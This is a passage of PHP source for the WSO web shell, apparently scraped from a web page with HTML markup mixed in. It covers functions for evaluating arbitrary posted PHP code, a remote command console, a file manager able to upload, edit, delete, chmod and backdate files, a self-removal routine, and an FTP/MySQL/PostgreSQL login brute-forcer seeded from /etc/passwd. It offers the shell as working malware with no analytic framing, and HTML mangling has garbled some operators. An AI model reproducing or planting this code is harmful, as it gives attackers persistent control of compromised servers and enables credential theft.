 "!td, th {(.*)}!msiU",<br />
 "!<img[^>] >!msiU",<br />
 ), array (<br />
 "",<br />
 ".e, .v, .h, .h th {$1}",<br />
 ""<br />
 ), $tmp);<br />
		echo str_replace("<br />
<h1","<h2", $tmp) ."</div>
<p>";<br />
	}<br />
 echo "<br />
<h1>Execution PHP-code</h1>
<div class=content>
<form name=pf method=post onsubmit="if(this.ajax.checked){a(\"Php\",null,this.code.value);}else{g(\"Php\",null,this.code.value,\"\");}return false;"><textarea name=code class=bigarea id=PhpCode>".(!empty($_POST["p1"])?htmlspecialchars($_POST["p1"]):"")."</textarea><br />
<input type=submit value=Eval style="margin-top:5px">";<br />
	echo "<br />
<input type=checkbox name=ajax value=1 ".($_COOKIE[md5($_SERVER["HTTP_HOST"])."ajax"]?"checked":"")."> send using AJAX</form>
<pre id=PhpOutput style="".(empty($_POST["p1"])?"display:none;":"")."margin-top:5px;" class=ml1>";
	if(!empty($_POST["p1"])) {
		ob_start();
		eval($_POST["p1"]);
		echo htmlspecialchars(ob_get_clean());
	}
	echo "</pre>
</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionFilesMan() {<br />
 if (!empty ($_COOKIE["f"]))<br />
 $_COOKIE["f"] = @unserialize($_COOKIE["f"]);</p>
<p>	if(!empty($_POST["p1"])) {<br />
		switch($_POST["p1"]) {<br />
			case "uploadFile":<br />
				if(!@move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"]))<br />
					echo "Can"t upload file!";<br />
				break;<br />
			case "mkdir":<br />
				if(!@mkdir($_POST["p2"]))<br />
					echo "Can"t create new dir";<br />
				break;<br />
			case "delete":<br />
				function deleteDir($path) {<br />
					$path = (substr($path,-1)=="/") ? $path:$path."/";<br />
					$dh = opendir($path);<br />
					while ( ($item = readdir($dh) ) !== false) {<br />
						$item = $path.$item;<br />
						if ( (basename($item) == "..") || (basename($item) == ".") )<br />
							continue;<br />
						$type = filetype($item);<br />
						if ($type == "dir")<br />
							deleteDir($item);<br />
						else<br />
							@unlink($item);<br />
					}<br />
					closedir($dh);<br />
					@rmdir($path);<br />
				}<br />
				if(is_array(@$_POST["f"]))<br />
					foreach($_POST["f"] as $f) {<br />
 if($f == "..")<br />
 continue;<br />
						$f = urldecode($f);<br />
						if(is_dir($f))<br />
							deleteDir($f);<br />
						else<br />
							@unlink($f);<br />
					}<br />
				break;<br />
			case "paste":<br />
				if($_COOKIE["act"] == "copy") {<br />
					function copy_paste($c,$s,$d){<br />
						if(is_dir($c.$s)){<br />
							mkdir($d.$s);<br />
							$h = @opendir($c.$s);<br />
							while (($f = @readdir($h)) !== false)<br />
								if (($f != ".") and ($f != ".."))<br />
									copy_paste($c.$s."/",$f, $d.$s."/");<br />
						} elseif(is_file($c.$s))<br />
							@copy($c.$s, $d.$s);<br />
					}<br />
					foreach($_COOKIE["f"] as $f)<br />
						copy_paste($_COOKIE["c"],$f, $GLOBALS["cwd"]);<br />
				} elseif($_COOKIE["act"] == "move") {<br />
					function move_paste($c,$s,$d){<br />
						if(is_dir($c.$s)){<br />
							mkdir($d.$s);<br />
							$h = @opendir($c.$s);<br />
							while (($f = @readdir($h)) !== false)<br />
								if (($f != ".") and ($f != ".."))<br />
									copy_paste($c.$s."/",$f, $d.$s."/");<br />
						} elseif(@is_file($c.$s))</p>
<p>							@copy($c.$s, $d.$s);<br />
					}<br />
					foreach($_COOKIE["f"] as $f)<br />
						@rename($_COOKIE["c"].$f, $GLOBALS["cwd"].$f);<br />
				} elseif($_COOKIE["act"] == "zip") {<br />
					if(class_exists("ZipArchive")) {<br />
 $zip = new ZipArchive();<br />
 if ($zip->open($_POST["p2"], 1)) {<br />
 chdir($_COOKIE["c"]);<br />
 foreach($_COOKIE["f"] as $f) {<br />
 if($f == "..")<br />
 continue;<br />
 if(@is_file($_COOKIE["c"].$f))<br />
 $zip->addFile($_COOKIE["c"].$f, $f);<br />
 elseif(@is_dir($_COOKIE["c"].$f)) {<br />
 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f."/", FilesystemIterator::SKIP_DOTS));<br />
 foreach ($iterator as $key=>$value) {<br />
 $zip->addFile(realpath($key), $key);<br />
 }<br />
 }<br />
 }<br />
 chdir($GLOBALS["cwd"]);<br />
 $zip->close();<br />
 }<br />
 }<br />
				} elseif($_COOKIE["act"] == "unzip") {<br />
					if(class_exists("ZipArchive")) {<br />
 $zip = new ZipArchive();<br />
 foreach($_COOKIE["f"] as $f) {<br />
 if($zip->open($_COOKIE["c"].$f)) {<br />
 $zip->extractTo($GLOBALS["cwd"]);<br />
 $zip->close();<br />
 }<br />
 }<br />
 }<br />
				} elseif($_COOKIE["act"] == "tar") {<br />
 chdir($_COOKIE["c"]);<br />
 $_COOKIE["f"] = array_map("escapeshellarg", $_COOKIE["f"]);<br />
 wsoEx("tar cfzv " . escapeshellarg($_POST["p2"]) . " " . implode(" ", $_COOKIE["f"]));<br />
 chdir($GLOBALS["cwd"]);<br />
				}<br />
				unset($_COOKIE["f"]);<br />
 setcookie("f", "", time() - 3600);<br />
				break;<br />
			default:<br />
 if(!empty($_POST["p1"])) {<br />
					WSOsetcookie("act", $_POST["p1"]);<br />
					WSOsetcookie("f", serialize(@$_POST["f"]));<br />
					WSOsetcookie("c", @$_POST["c"]);<br />
				}<br />
				break;<br />
		}<br />
	}<br />
 wsoHeader();<br />
	echo "<br />
<h1>File manager</h1>
<div class=content><script>p1_=p2_=p3_="";</script>";<br />
	$dirContent = wsoScandir(isset($_POST["c"])?$_POST["c"]:$GLOBALS["cwd"]);<br />
	if($dirContent === false) {	echo "Can\"t open this folder!";wsoFooter(); return; }<br />
	global $sort;<br />
	$sort = array("name", 1);<br />
	if(!empty($_POST["p1"])) {<br />
		if(preg_match("!s_([A-z] )_(\d{1})!", $_POST["p1"], $match))<br />
			$sort = array($match[1], (int)$match[2]);<br />
	}<br />
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i )
			if(d.files.elements[i].type == "checkbox")
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script></p>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name=files method=post>
<tr>
<th width="13px">
<input type=checkbox onclick="sa()" class=chkbx></th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")">Name</a></th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")">Size</a></th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")">Modify</a></th>
<th>Owner/Group</th>
<th><a href="#" onclick="g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")">Permissions</a></th>
<th>Actions</th>
</tr>
<p>";<br />
	$dirs = $files = array();<br />
	$n = count($dirContent);<br />
	for($i=0;$i<$n;$i ) {<br />
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));<br />
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));<br />
		$tmp = array("name" => $dirContent[$i],<br />
					 "path" => $GLOBALS["cwd"].$dirContent[$i],<br />
					 "modify" => date("Y-m-d H:i:s", @filemtime($GLOBALS["cwd"] . $dirContent[$i])),<br />
					 "perms" => wsoPermsColor($GLOBALS["cwd"] . $dirContent[$i]),<br />
					 "size" => @filesize($GLOBALS["cwd"].$dirContent[$i]),<br />
					 "owner" => $ow["name"]?$ow["name"]:@fileowner($dirContent[$i]),<br />
					 "group" => $gr["name"]?$gr["name"]:@filegroup($dirContent[$i])<br />
					);<br />
		if(@is_file($GLOBALS["cwd"] . $dirContent[$i]))<br />
			$files[] = array_merge($tmp, array("type" => "file"));<br />
		elseif(@is_link($GLOBALS["cwd"] . $dirContent[$i]))<br />
			$dirs[] = array_merge($tmp, array("type" => "link", "link" => readlink($tmp["path"])));<br />
		elseif(@is_dir($GLOBALS["cwd"] . $dirContent[$i]))<br />
			$dirs[] = array_merge($tmp, array("type" => "dir"));<br />
	}<br />
	$GLOBALS["sort"] = $sort;<br />
	function wsoCmp($a, $b) {<br />
		if($GLOBALS["sort"][0] != "size")<br />
			return strcmp(strtolower($a[$GLOBALS["sort"][0]]), strtolower($b[$GLOBALS["sort"][0]]))*($GLOBALS["sort"][1]?1:-1);<br />
		else<br />
			return (($a["size"] < $b["size"]) ? -1 : 1)*($GLOBALS["sort"][1]?1:-1);<br />
	}<br />
	usort($files, "wsoCmp");<br />
	usort($dirs, "wsoCmp");<br />
	$files = array_merge($dirs, $files);<br />
	$l = 0;<br />
	foreach($files as $f) {<br />
		echo "<br />
<tr".($l?" class=l1":"").">
<td>
<input type=checkbox name="f[]" value="".urlencode($f["name"])."" class=chkbx></td>
<td><a href=# onclick="".(($f["type"]=="file")?"g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"view\")">".htmlspecialchars($f["name"]):"g(\"FilesMan\",\"".$f["path"]."\");" " . (empty ($f["link"]) ? "" : "title="{$f["link"]}"") . "><b>[ " . htmlspecialchars($f["name"]) . " ]</b>")."</a></td>
<td>".(($f["type"]=="file")?wsoViewSize($f["size"]):$f["type"])."</td>
<td>".$f["modify"]."</td>
<td>".$f["owner"]."/".$f["group"]."</td>
<td><a href=# onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\",\"chmod\")">".$f["perms"]<br />
			."</td>
<td><a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"rename\")">R</a> <a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"touch\")">T</a>".(($f["type"]=="file")?" <a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"edit\")">E</a> <a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($f["name"])."\", \"download\")">D</a>":"")."</td>
</tr>
<p>";<br />
		$l = $l?0:1;<br />
	}<br />
	echo "<br />
<tr>
<td colspan=7>
<input type=hidden name=a value="FilesMan">
<input type=hidden name=c value="" . htmlspecialchars($GLOBALS["cwd"]) ."">
<input type=hidden name=charset value="". (isset($_POST["charset"])?$_POST["charset"]:"")."">
<select name="p1">
<option value="copy">Copy</option>
<option value="move">Move</option>
<option value="delete">Delete</option>
<p>";<br />
 if(class_exists("ZipArchive"))<br />
 echo "<br />
<option value="zip">Compress (zip)</option>
<option value="unzip">Uncompress (zip)</option>
<p>";<br />
 echo "<br />
<option value="tar">Compress (tar.gz)</option>
<p>";<br />
 if(!empty($_COOKIE["act"]) &#038;&#038; @count($_COOKIE["f"]))<br />
 echo "<br />
<option value="paste">Paste / Compress</option>
<p>";<br />
 echo "</select>
<p>&#038;";<br />
 if(!empty($_COOKIE["act"]) &#038;&#038; @count($_COOKIE["f"]) &#038;&#038; (($_COOKIE["act"] == "zip") || ($_COOKIE["act"] == "tar")))<br />
 echo "file name:<br />
<input type=text name=p2 value="wso_" . date("Ymd_His") . "." . ($_COOKIE["act"] == "zip"?"zip":"tar.gz") . "">&#038;";<br />
 echo "<br />
<input type="submit" value=">>"></td>
</tr>
</form>
</table>
</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionStringTools() {<br />
	if(!function_exists("hex2bin")) {function hex2bin($p) {return decbin(hexdec($p));}}<br />
 if(!function_exists("binhex")) {function binhex($p) {return dechex(bindec($p));}}<br />
	if(!function_exists("hex2ascii")) {function hex2ascii($p){$r="";for($i=0;$i<strLen($p);$i =2){$r.=chr(hexdec($p[$i].$p[$i 1]));}return $r;}}<br />
	if(!function_exists("ascii2hex")) {function ascii2hex($p){$r="";for($i=0;$i<strlen($p); $i)$r.= sprintf("X",ord($p[$i]));return strtoupper($r);}}<br />
	if(!function_exists("full_urlencode")) {function full_urlencode($p){$r="";for($i=0;$i<strlen($p); $i)$r.= "%".dechex(ord($p[$i]));return strtoupper($r);}}<br />
	$stringTools = array(<br />
		"Base64 encode" => "base64_encode",<br />
		"Base64 decode" => "base64_decode",<br />
		"Url encode" => "urlencode",<br />
		"Url decode" => "urldecode",<br />
		"Full urlencode" => "full_urlencode",<br />
		"md5 hash" => "md5",<br />
		"sha1 hash" => "sha1",<br />
		"crypt" => "crypt",<br />
		"CRC32" => "crc32",<br />
		"ASCII to HEX" => "ascii2hex",<br />
		"HEX to ASCII" => "hex2ascii",<br />
		"HEX to DEC" => "hexdec",<br />
		"HEX to BIN" => "hex2bin",<br />
		"DEC to HEX" => "dechex",<br />
		"DEC to BIN" => "decbin",<br />
		"BIN to HEX" => "binhex",<br />
		"BIN to DEC" => "bindec",<br />
		"String to lower case" => "strtolower",<br />
		"String to upper case" => "strtoupper",<br />
		"Htmlspecialchars" => "htmlspecialchars",<br />
		"String length" => "strlen",<br />
	);<br />
	if(isset($_POST["ajax"])) {<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", true);<br />
		ob_start();<br />
		if(in_array($_POST["p1"], $stringTools))<br />
			echo $_POST["p1"]($_POST["p2"]);<br />
		$temp = "document.getElementById("strOutput").style.display="";document.getElementById("strOutput").innerHTML="".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\"\0")."";\n";<br />
		echo strlen($temp), "\n", $temp;<br />
		exit;<br />
	}<br />
 if(empty($_POST["ajax"])&#038;&#038;!empty($_POST["p1"]))<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", 0);<br />
	wsoHeader();<br />
	echo "<br />
<h1>String conversions</h1>
<div class=content>";<br />
	echo "<br />
<form name="toolsForm" onSubmit="if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;">
<select name="selectTool">";<br />
	foreach($stringTools as $k => $v)<br />
		echo "<br />
<option value="".htmlspecialchars($v)."">".$k."</option>
<p>";<br />
		echo "</select>
<input type="submit" value=">>"/><br />
<input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER["HTTP_HOST"])."ajax"]?"checked":"")."> send using AJAX<br /><textarea name="input" style="margin-top:5px" class=bigarea>".(empty($_POST["p1"])?"":htmlspecialchars(@$_POST["p2"]))."</textarea></form>
<pre class="ml1" style="".(empty($_POST["p1"])?"display:none;":"")."margin-top:5px" id="strOutput">";
	if(!empty($_POST["p1"])) {
		if(in_array($_POST["p1"], $stringTools))echo htmlspecialchars($_POST["p1"]($_POST["p2"]));
	}
	echo"</pre>
</div>
<p>
<h1>Search files:</h1>
<div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\">
<table cellpadding="1" cellspacing="0" width="50%">
<tr>
<td width="1%">Text:</td>
<td>
<input type="text" name="text" style="width:100%"></td>
</tr>
<tr>
<td>Path:</td>
<td>
<input type="text" name="cwd" value="". htmlspecialchars($GLOBALS["cwd"]) ."" style="width:100%"></td>
</tr>
<tr>
<td>Name:</td>
<td>
<input type="text" name="filename" value="*" style="width:100%"></td>
</tr>
<tr>
<td></td>
<td>
<input type="submit" value=">>"></td>
</tr>
</table>
</form>
<p>";</p>
<p>	function wsoRecursiveGlob($path) {<br />
		if(substr($path, -1) != "/")<br />
			$path.="/";<br />
		$paths = @array_unique(@array_merge(@glob($path.$_POST["p3"]), @glob($path."*", GLOB_ONLYDIR)));<br />
		if(is_array($paths)&#038;&#038;@count($paths)) {<br />
			foreach($paths as $item) {<br />
				if(@is_dir($item)){<br />
					if($path!=$item)<br />
						wsoRecursiveGlob($item);<br />
				} else {<br />
					if(empty($_POST["p2"]) || @strpos(file_get_contents($item), $_POST["p2"])!==false)<br />
						echo "<a href="#" onclick="g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")">".htmlspecialchars($item)."</a><br />";<br />
				}<br />
			}<br />
		}<br />
	}<br />
	if(@$_POST["p3"])<br />
		wsoRecursiveGlob($_POST["c"]);<br />
	echo "</div>
<p>
<h1>Search for hash:</h1>
<div class=content>
<form method="post" target="_blank" name="hf">
<input type="text" name="hash" style="width:200px;"></p>
<input type="hidden" name="act" value="find"/>
<input type="button" value="hashcracking.ru" onclick=\"document.hf.action="https://hashcracking.ru/index.php";document.hf.submit()\"></p>
<input type="button" value="md5.rednoize.com" onclick=\"document.hf.action="http://md5.rednoize.com/?q=" document.hf.hash.value "&#038;s=md5";document.hf.submit()\"></p>
<input type="button" value="crackfor.me" onclick=\"document.hf.action="http://crackfor.me/index.php";document.hf.submit()\">
		</form>
</div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionFilesTools() {<br />
	if( isset($_POST["p1"]) )<br />
		$_POST["p1"] = urldecode($_POST["p1"]);<br />
	if(@$_POST["p2"]=="download") {<br />
		if(@is_file($_POST["p1"]) &#038;&#038; @is_readable($_POST["p1"])) {<br />
			ob_start("ob_gzhandler", 4096);<br />
			header("Content-Disposition: attachment; filename=".basename($_POST["p1"]));<br />
			if (function_exists("mime_content_type")) {<br />
				$type = @mime_content_type($_POST["p1"]);<br />
				header("Content-Type: " . $type);<br />
			} else<br />
 header("Content-Type: application/octet-stream");<br />
			$fp = @fopen($_POST["p1"], "r");<br />
			if($fp) {<br />
				while(!@feof($fp))<br />
					echo @fread($fp, 1024);<br />
				fclose($fp);<br />
			}<br />
		}exit;<br />
	}<br />
	if( @$_POST["p2"] == "mkfile" ) {<br />
		if(!file_exists($_POST["p1"])) {<br />
			$fp = @fopen($_POST["p1"], "w");<br />
			if($fp) {<br />
				$_POST["p2"] = "edit";<br />
				fclose($fp);<br />
			}<br />
		}<br />
	}<br />
	wsoHeader();<br />
	echo "<br />
<h1>File tools</h1>
<div class=content>";<br />
	if( !file_exists(@$_POST["p1"]) ) {<br />
		echo "File not exists";<br />
		wsoFooter();<br />
		return;<br />
	}<br />
	$uid = @posix_getpwuid(@fileowner($_POST["p1"]));<br />
	if(!$uid) {<br />
		$uid["name"] = @fileowner($_POST["p1"]);<br />
		$gid["name"] = @filegroup($_POST["p1"]);<br />
	} else $gid = @posix_getgrgid(@filegroup($_POST["p1"]));<br />
	echo "<span>Name:</span> ".htmlspecialchars(@basename($_POST["p1"]))." <span>Size:</span> ".(is_file($_POST["p1"])?wsoViewSize(filesize($_POST["p1"])):"-")." <span>Permission:</span> ".wsoPermsColor($_POST["p1"])." <span>Owner/Group:</span> ".$uid["name"]."/".$gid["name"]."<br />";<br />
	echo "<span>Change time:</span> ".date("Y-m-d H:i:s",filectime($_POST["p1"]))." <span>Access time:</span> ".date("Y-m-d H:i:s",fileatime($_POST["p1"]))." <span>Modify time:</span> ".date("Y-m-d H:i:s",filemtime($_POST["p1"]))."</p>
<p>";<br />
	if( empty($_POST["p2"]) )<br />
		$_POST["p2"] = "view";<br />
	if( is_file($_POST["p1"]) )<br />
		$m = array("View", "Highlight", "Download", "Hexdump", "Edit", "Chmod", "Rename", "Touch");<br />
	else<br />
		$m = array("Chmod", "Rename", "Touch");<br />
	foreach($m as $v)<br />
		echo "<a href=# onclick="g(null,null,\"" . urlencode($_POST["p1"]) . "\",\"".strtolower($v)."\")">".((strtolower($v)==@$_POST["p2"])?"<b>[ ".$v." ]</b>":$v)."</a> ";<br />
	echo "</p>
<p>";<br />
	switch($_POST["p2"]) {<br />
		case "view":<br />
			echo "
<pre class=ml1>";
			$fp = @fopen($_POST["p1"], "r");
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo "</pre>
<p>";<br />
			break;<br />
		case "highlight":<br />
			if( @is_readable($_POST["p1"]) ) {<br />
				echo "
<div class=ml1 style="background-color: #e1e1e1;color:black;">";<br />
				$code = @highlight_file($_POST["p1"],true);<br />
				echo str_replace(array("<span ","</span>"), array("<font ","</font>"),$code)."</div>
<p>";<br />
			}<br />
			break;<br />
		case "chmod":<br />
			if( !empty($_POST["p3"]) ) {<br />
				$perms = 0;<br />
				for($i=strlen($_POST["p3"])-1;$i>=0;--$i)<br />
					$perms = (int)$_POST["p3"][$i]*pow(8, (strlen($_POST["p3"])-$i-1));<br />
				if(!@chmod($_POST["p1"], $perms))<br />
					echo "Can\"t set permissions!<br /><script>document.mf.p3.value="";</script>";<br />
			}<br />
			clearstatcache();<br />
			echo "<script>p3_="";</script><br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,this.chmod.value);return false;">
<input type=text name=chmod value="".substr(sprintf("%o", fileperms($_POST["p1"])),-4)."">
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
		case "edit":<br />
			if( !is_writable($_POST["p1"])) {<br />
				echo "File isn\"t writeable";<br />
				break;<br />
			}<br />
			if( !empty($_POST["p3"]) ) {<br />
				$time = @filemtime($_POST["p1"]);<br />
				$_POST["p3"] = substr($_POST["p3"],1);<br />
				$fp = @fopen($_POST["p1"],"w");<br />
				if($fp) {<br />
					@fwrite($fp,$_POST["p3"]);<br />
					@fclose($fp);<br />
					echo "Saved!<br /><script>p3_="";</script>";<br />
					@touch($_POST["p1"],$time,$time);<br />
				}<br />
			}<br />
			echo "<br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,\"1\" this.text.value);return false;"><textarea name=text class=bigarea>";<br />
			$fp = @fopen($_POST["p1"], "r");<br />
			if($fp) {<br />
				while( !@feof($fp) )<br />
					echo htmlspecialchars(@fread($fp, 1024));<br />
				@fclose($fp);<br />
			}<br />
			echo "</textarea><br />
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
		case "hexdump":<br />
			$c = @file_get_contents($_POST["p1"]);<br />
			$n = 0;<br />
			$h = array("00000000<br />","","");<br />
			$len = strlen($c);<br />
			for ($i=0; $i<$len; $i) {<br />
				$h[1] .= sprintf("X",ord($c[$i]))." ";<br />
				switch ( ord($c[$i]) ) {<br />
					case 0: $h[2] .= " "; break;<br />
					case 9: $h[2] .= " "; break;<br />
					case 10: $h[2] .= " "; break;<br />
					case 13: $h[2] .= " "; break;<br />
					default: $h[2] .= $c[$i]; break;<br />
				}<br />
				$n ;<br />
				if ($n == 32) {<br />
					$n = 0;<br />
					if ($i 1 < $len) {$h[0] .= sprintf("X",$i 1)."<br />";}<br />
					$h[1] .= "<br />";<br />
					$h[2] .= "\n";<br />
				}<br />
		 	}<br />
			echo "<br />
<table cellspacing=1 cellpadding=5 bgcolor=#222222>
<tr>
<td bgcolor=#333333><span style="font-weight: normal;">
<pre>".$h[0]."</pre>
<p></span></td>
<td bgcolor=#282828>
<pre>".$h[1]."</pre>
</td>
<td bgcolor=#333333>
<pre>".htmlspecialchars($h[2])."</pre>
</td>
</tr>
</table>
<p>";<br />
			break;<br />
		case "rename":<br />
			if( !empty($_POST["p3"]) ) {<br />
				if(!@rename($_POST["p1"], $_POST["p3"]))<br />
					echo "Can\"t rename!<br />";<br />
				else<br />
					die("<script>g(null,null,"".urlencode($_POST["p3"])."",null,"")</script>");<br />
			}<br />
			echo "<br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,this.name.value);return false;">
<input type=text name=name value="".htmlspecialchars($_POST["p1"])."">
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
		case "touch":<br />
			if( !empty($_POST["p3"]) ) {<br />
				$time = strtotime($_POST["p3"]);<br />
				if($time) {<br />
					if(!touch($_POST["p1"],$time,$time))<br />
						echo "Fail!";<br />
					else<br />
						echo "Touched!";<br />
				} else echo "Bad time format!";<br />
			}<br />
			clearstatcache();<br />
			echo "<script>p3_="";</script><br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,this.touch.value);return false;">
<input type=text name=touch value="".date("Y-m-d H:i:s", @filemtime($_POST["p1"]))."">
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
	}<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionConsole() {<br />
 if(!empty($_POST["p1"]) &#038;&#038; !empty($_POST["p2"])) {<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"])."stderr_to_out", true);<br />
 $_POST["p1"] .= " 2>&#038;1";<br />
 } elseif(!empty($_POST["p1"]))<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"])."stderr_to_out", 0);</p>
<p>	if(isset($_POST["ajax"])) {<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", true);<br />
		ob_start();<br />
		echo "d.cf.cmd.value="";\n";<br />
		$temp = @iconv($_POST["charset"], "UTF-8", addcslashes("\n$ ".$_POST["p1"]."\n".wsoEx($_POST["p1"]),"\n\r\t\\"\0"));<br />
		if(preg_match("!.*cd\s ([^;] )$!",$_POST["p1"],$match))	{<br />
			if(@chdir($match[1])) {<br />
				$GLOBALS["cwd"] = @getcwd();<br />
				echo "c_="".$GLOBALS["cwd"]."";";<br />
			}<br />
		}<br />
		echo "d.cf.output.value ="".$temp."";";<br />
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";<br />
		$temp = ob_get_clean();<br />
		echo strlen($temp), "\n", $temp;<br />
		exit;<br />
	}<br />
 if(empty($_POST["ajax"])&#038;&#038;!empty($_POST["p1"]))<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", 0);<br />
	wsoHeader();<br />
 echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur ;
	} else if(n == 40) {
		cur ;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push("");
	cur = cmds.length-1;
}
</script>";<br />
	echo "<br />
<h1>Console</h1>
<div class=content>
<form name=cf onsubmit="if(d.cf.cmd.value==\"clear\"){d.cf.output.value=\"\";d.cf.cmd.value=\"\";return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\"\");}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\"\");} return false;">
<select name=alias>";<br />
	foreach($GLOBALS["aliases"] as $n => $v) {<br />
		if($v == "") {<br />
			echo "<optgroup label="-".htmlspecialchars($n)."-"></optgroup>";<br />
			continue;<br />
		}<br />
		echo "<br />
<option value="".htmlspecialchars($v)."">".$n."</option>
<p>";<br />
	}</p>
<p>	echo "</select>
<input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\"\");}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\"\");}" value=">>"> <nobr><br />
<input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER["HTTP_HOST"])."ajax"]?"checked":"")."> send using AJAX<br />
<input type=checkbox name=show_errors value=1 ".(!empty($_POST["p2"])||$_COOKIE[md5($_SERVER["HTTP_HOST"])."stderr_to_out"]?"checked":"")."> redirect stderr to stdout (2>&#038;1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>";<br />
	if(!empty($_POST["p1"])) {<br />
		echo htmlspecialchars("$ ".$_POST["p1"]."\n".wsoEx($_POST["p1"]));<br />
	}<br />
	echo "</textarea><br />
<table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%">
<tr>
<td width="1%">$</td>
<td>
<input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td>
</tr>
</table>
<p>";<br />
	echo "</p></form>
</div>
<p><script>d.cf.cmd.focus();</script>";<br />
	wsoFooter();<br />
}</p>
<p>function actionLogout() {<br />
 setcookie(md5($_SERVER["HTTP_HOST"]), "", time() - 3600);<br />
	die("bye!");<br />
}</p>
<p>function actionSelfRemove() {</p>
<p>	if($_POST["p1"] == "yes")<br />
		if(@unlink(preg_replace("!\(\d \)\s.*!", "", __FILE__)))<br />
			die("Shell has been removed");<br />
		else<br />
			echo "unlink error!";<br />
 if($_POST["p1"] != "yes")<br />
 wsoHeader();<br />
	echo "<br />
<h1>Suicide</h1>
<div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\"yes\")">Yes</a></div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionBruteforce() {<br />
	wsoHeader();<br />
	if( isset($_POST["proto"]) ) {<br />
		echo "<br />
<h1>Results</h1>
<div class=content><span>Type:</span> ".htmlspecialchars($_POST["proto"])." <span>Server:</span> ".htmlspecialchars($_POST["server"])."<br />";<br />
		if( $_POST["proto"] == "ftp" ) {<br />
			function wsoBruteForce($ip,$port,$login,$pass) {<br />
				$fp = @ftp_connect($ip, $port?$port:21);<br />
				if(!$fp) return false;<br />
				$res = @ftp_login($fp, $login, $pass);<br />
				@ftp_close($fp);<br />
				return $res;<br />
			}<br />
		} elseif( $_POST["proto"] == "mysql" ) {<br />
			function wsoBruteForce($ip,$port,$login,$pass) {<br />
				$res = @mysql_connect($ip.":".($port?$port:3306), $login, $pass);<br />
				@mysql_close($res);<br />
				return $res;<br />
			}<br />
		} elseif( $_POST["proto"] == "pgsql" ) {<br />
			function wsoBruteForce($ip,$port,$login,$pass) {<br />
				$str = "host="".$ip."" port="".$port."" user="".$login."" password="".$pass."" dbname=postgres";<br />
				$res = @pg_connect($str);<br />
				@pg_close($res);<br />
				return $res;<br />
			}<br />
		}<br />
		$success = 0;<br />
		$attempts = 0;<br />
		$server = explode(":", $_POST["server"]);<br />
		if($_POST["type"] == 1) {<br />
			$temp = @file("/etc/passwd");<br />
			if( is_array($temp) )<br />
				foreach($temp as $line) {<br />
					$line = explode(":", $line);<br />
					 $attempts;<br />
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {<br />
						$success ;<br />
						echo "<b>".htmlspecialchars($line[0])."</b>:".htmlspecialchars($line[0])."<br />";<br />
					}<br />
